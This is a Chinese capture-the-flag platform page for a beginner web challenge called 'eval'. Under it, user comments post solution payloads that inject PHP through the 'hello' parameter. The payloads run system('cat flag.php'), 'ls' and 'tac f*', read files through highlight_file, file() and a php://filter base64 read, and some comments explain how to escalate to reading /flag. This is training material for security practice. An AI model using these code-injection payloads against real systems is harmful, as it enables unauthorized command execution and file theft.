evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 19966
提  示:
描  述:
eval
评论
1nfinix 7月前

构造payload: ?hello=);highlight_file('flag.php');// 或者 ?hello=);system('cat flag.php');//

回复 0

lins11 8月前

/?hello=file_get_contents(%27php://filter/read=convert.base64-encode/resource=flag.php%27) ->base64解码

回复 0

叱咤月海鱼鱼猫 9月前

?hello=highlight_file('flag.php')

回复 3

banfang 9月前

点击场景后将代码发送给豆包等一分钟基本上就可以了

回复 0
hds 3月前

牛逼兄弟 学会了

回复 2

pks0 9月前

?hello=1);highlight_file(%27flag.php%27);//

回复 1

一个姓⎝李⎠的师傅~ 11月前

知其然,不知其所以然,以后还是不会类似的题目:(下面是我写了 1 天的思路,保证你看完以后一切都明白了!!!) https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#fYY9d

回复 13
pipipikaqiu 8月前

写的好详细,太好了啊

回复 1

一个姓⎝李⎠的师傅~ 8月前

@想好思路再支付 有帮助就好,感谢老铁的认可!!!

回复 2

想好思路再支付 8月前

思路讲的真好啊李师傅

回复 1

ubudj 11月前

?hello=file(%27flag.php%27) ,%27 是单引号(')的 URL 编码形式。 确保 file() 函数能正确识别要读取的文件名

回复 1

默认 11月前

hello=a=system('ls'),发现能输出东西,剩下的就是ls换成你想要做的命令,然后试试cat flag.php 这个cat是输出东西的,然后换成其他的东西都行,cat不行就tac,能出来答案 ps:在根目录下有一个叫做flag的文件,这里用 cat /flag 是没有问题的

回复 1

wywsssf 11月前

找到参数hello,首先?hello=system('ls'),看到flag.php,再执行?hello=system('cat flag.php'),发现无内容,尝试把cat换成tac则成功

回复 0

dlgz 12月前

?hello=file(%27flag.php%27) ?hello=system(%27tac%20f*%27)

回复 1

WriteUp

image
harry

1 金币

评分(12)

解题动态

Hogan 攻破了该题 23分钟前
sorry123 攻破了该题 2小时前
xiaolili 攻破了该题 3小时前
ljjbit 攻破了该题 7小时前
墨尘 攻破了该题 8小时前
booku 攻破了该题 9小时前
15306829633 攻破了该题 9小时前
CHT 攻破了该题 10小时前
河马 攻破了该题 10小时前
Mr.Cyber 攻破了该题 12小时前
聪仔草莓51 攻破了该题 14小时前
pleonexia123 攻破了该题 14小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
倚楼叹世间 攻破了该题 3天前
问题反馈